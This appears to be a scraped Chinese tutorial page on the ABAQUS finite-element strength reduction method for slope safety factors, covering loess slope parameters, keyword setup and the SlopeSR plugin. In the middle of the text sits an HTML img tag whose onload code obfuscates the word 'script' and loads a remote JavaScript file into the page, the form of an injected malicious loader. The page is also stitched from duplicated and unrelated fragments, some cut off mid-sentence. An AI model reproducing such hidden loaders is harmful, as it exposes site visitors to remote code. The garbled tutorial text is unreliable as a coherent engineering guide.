ABAQUS強度折減法
關注創建者：霖沐 創建時間：2023-05-03
ABAQUS強度折減法的視頻教程
邊坡強度折減法在ABAQUS中的實現方法
介紹了： 強度折減法的原理 強度折減法的優勢 強度折減法的應用場景 強度折減法與極限平衡法的差異 強度折減法判定邊坡安全系數的三類方法 強度折減法在ABAQUS中的實現過程 關鍵點位移突變曲線的提取與數據處理 塑性區域貫通法的判定標準
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降雨入滲條件下土質邊坡流固耦合分析與強度折減法穩定性分析
第1部分：降雨入滲條件下土質邊坡響應的流固耦合分析方法 第2部分：降雨入滲條件下土質邊坡穩定性的強度折減分析方法 第3部分：降雨入滲條件下土質邊坡任意時刻穩定性的批量實時分析方法
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ABAQUS強度折減法的實例教程
Abaqus強度折減法計算邊坡的安全系數是采用設置場變量的方法，在分析計算過程中，逐步折減土體強度參數，當土體強度參數折減到很小時候，土體塑性區貫通，模型由于塑性變形過大無法計算下去的時候，這時候的場變量數值即為安全系數。
以某加固工程公路邊坡為原型，邊坡土體為黃土狀粉土，邊坡高度為11m，其主要物理力學性質列于表2.1，其中支護采用錨桿支護。
2.1 土體物理性質
土層名稱
厚度
m
重度
γ（kN/m3）
彈性模量
Mpa
泊松比
ν
粘聚力
c(kPa)
內摩擦角
φ（?）
黃土粉狀土
>30
16.8
12
0.3
15
22
定義場變量的地方為材料參數的第三列，number of filed variables設置為1，
定義兩個分析步，第一個分析步是重力場平衡，自重應力場，第二個分析步中進行折減。從菜單欄model—>edit kerwords進入到編輯關鍵詞界面，在第一個分析步開始之前添加如下關鍵詞，
在第二個分析步中添加如下關鍵詞。
其他建模步驟沒有特別需要注意的地方，完成這些就可以提交計算了，計算的得到邊坡安全系數為1.8，塑性區如下圖。
塑性區貫通
展開 附件一：SlopeSR插件
附件二：插件英文使用說明
另附網址：基于SIMULIA Abaqus的有限元強度折減法－技術鄰社區 (jishulink.com) 插件中文使用說明。
算例導讀：
強度折減法最早是Zienkiewicz提出，其基本實質是材料的c和φ逐漸降低，導致某單元的應力無法和強度配套，不能承受的應力轉到周圍土體中去，從而出現連續的滑動面。本算例通過三維均質土坡穩定性分析來說明如何用強度折減法計算的安全系數。
算例需知：
需要CAE源文件的請添加微信（CivilTutor）說明來意或通過附件下載。
算例結果：
模擬的關鍵之處：
1.摩擦角強度折減參數的設置
2.分析步設置采用MC本構需用Unsymmetric
3.構造邊坡形狀采用生死單元模擬，即接觸中的 Model Change。
4.無需設置預定義場變量
5.單元最好用C3D8.
6.需修改模型的關鍵字
BIANPO-1.BP 是點集合名稱，0.5是場變量，此處為強度折減系數的初始值。
展開 2Abaqus操作界面
1）在Abaqus的下拉菜單Plug-ins中選SlopeSR，如圖1所示；
圖1 Abaqus的下拉菜單Plug-ins
2）彈出圖2所示的SlopeSR對話框；
圖2 SlopeSR對話框
設定計算參數，包括：
泊松比v是否調整，默認值是Yes；
彈性模量E是否調整，默認值是Yes；
計算采用的CPU個數，默認值是4；
迭代初始的強度折減系數FOS，默認值是1.0；
是夠存儲計算過程文件ODBs，默認值是No；
選擇所需計算的inp文件；
設定工作名。
點擊OK或Apply進行計算，點擊Cancel則關閉對話框。
3算例驗證
① 二維邊坡算例
圖1是一均質邊坡有限元模型。假定抗剪強度參數為c = 0.05886 MPa, f = 11.31°, 單位重 g = 19.62 KN/M3，彈模 E = 80 MPa, 泊松比 n = 0.43，材料符合Mohr-Coulomb準則和關聯流動法則。坡高50米，寬165.2米。左右兩邊模型高度分別取200和250米。邊界條件是：兩側法向約束，底部固定。
不調整泊松比和彈性模量，計算得到的強度折減系數為1.368。極限狀態下的等效塑性應變如圖4所示。可見邊坡以下很深的區域都以發生了塑性變形。
僅調整泊松比，計算得到的強度折減系數為1.368。極限狀態下的等效塑性應變如圖5所示。
調整泊松比和彈性模量，計算得到的強度折減系數為1.368。極限狀態下的等效塑性應變如圖6所示。
展開 圍巖1（彈塑性）
10
0.30
2645
0.8
32
進行邊坡穩定性分析計算時，采用強度折減法來實現。首先選取初始折減系數F，然后對邊坡土體材料強度系數進行折減，折減后凝聚力以及摩擦角分別式（1）和式（2）。
強度折減系數F=1.0時計算結果分析
X方向變形云圖
整體位移矢量云圖
強度折減系數F=2.2時計算結果分析
強度折減系數F=2.24時計算結果分析
強度折減系數F=2.28時計算結果分析----求解不收斂，說明此時邊坡發生失穩。
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算例導讀：
強度折減法最早是Zienkiewicz提出，其基本實質是材料的c和φ逐漸降低，導致某單元的應力無法和強度配套，不能承受的應力轉到周圍土體中去，從而出現連續的滑動面。本算例通過三維均質土坡穩定性分析來說明如何用強度折減法計算的安全系數。
算例需知：
需要CAE源文件的請添加微信（CivilTutor）說明來意或通過附件下載。
算例結果：
采用ANSYS有限元強度折減方法對滑坡穩定系數進行求解，通過有限元強度折減方法對不同工況下滑坡穩定系數進行計算，并將模擬計算值與極限平衡方法進行對比，驗證了強度折減方法的有效性。
有限元強度折減法是20世紀70年代末由英國科學家Zienkiewicz提出的，是通過不斷提高強度折減系數來降低坡體巖土抗剪強度參數，并反復試算，直到達到極限破壞狀態，程序自動根據彈塑性有限元計算結果得到滑動破壞面，
01
應用背景
感激不盡
另外，有數模技術問題歡迎大家多交流~
為研究凍融循環作用對寒區礦山邊坡危巖穩定性的影響，首先，利用有限元分析軟件ABAQUS和強度折減法，并結合Mohr-Coulomb破壞準則對礦山邊坡危巖算例進行數值分析。其次，以數值計算不收斂作為模型失穩破壞判據，分別計算不同凍融循環次數下的邊坡危巖安全系數。最后，通過與極限平衡法計算所得的理論安全系數比較驗證有限元分析結果的可靠性。
Abaqus強度折減法計算邊坡的安全系數是采用設置場變量的方法，在分析計算過程中，逐步折減土體強度參數，當土體強度參數折減到很小時候，土體塑性區貫通，模型由于塑性變形過大無法計算下去的時候，這時候的場變量數值即為安全系數。
以某加固工程公路邊坡為原型，邊坡土體為黃土狀粉土，邊坡高度為11m，其主要物理力學性質列于表2.1，其中支護采用錨桿支護。
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body
附件一：SlopeSR插件
附件二：插件英文使用說明
另附網址：基于SIMULIA Abaqus的有限元強度折減法－技術鄰社區 (jishulink.com) 插件中文使用說明。
中強度折減法的實現
l Comsol中強度折減法的實現
l Comsol強度折減法與Abaqus的對比
l 在Comsol中如何通過強度折減結果確定邊坡穩定系數
? 第五講：降雨條件下邊坡滲流穩定性（案例四）
l 降雨邊坡模型存在的科學問題
l 非飽和滲流理論
l 滲流-應力耦合原理
l Comsol中非飽和滲流-應力耦合的接口選擇
l Comsol中非飽和滲流-
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l Comsol
1.影響邊坡穩定性的主要因素
(1)邊坡材料力學特性參數：
包括彈性模量、泊松比、摩擦角、粘結力、容重、抗剪強度等參數。
(2)邊坡的幾何尺寸參數：
包括邊坡高度、坡面角和邊坡邊界尺寸以及坡面后方坡體的幾何形狀，即坡體的不連續面與開挖面的坡度及方向之間的幾何關系，它將確定坡體的各個部分是否滑動或塌落。
(3)邊坡外部荷載：
包括地震力、重力場、滲流場、地質構造地應力等
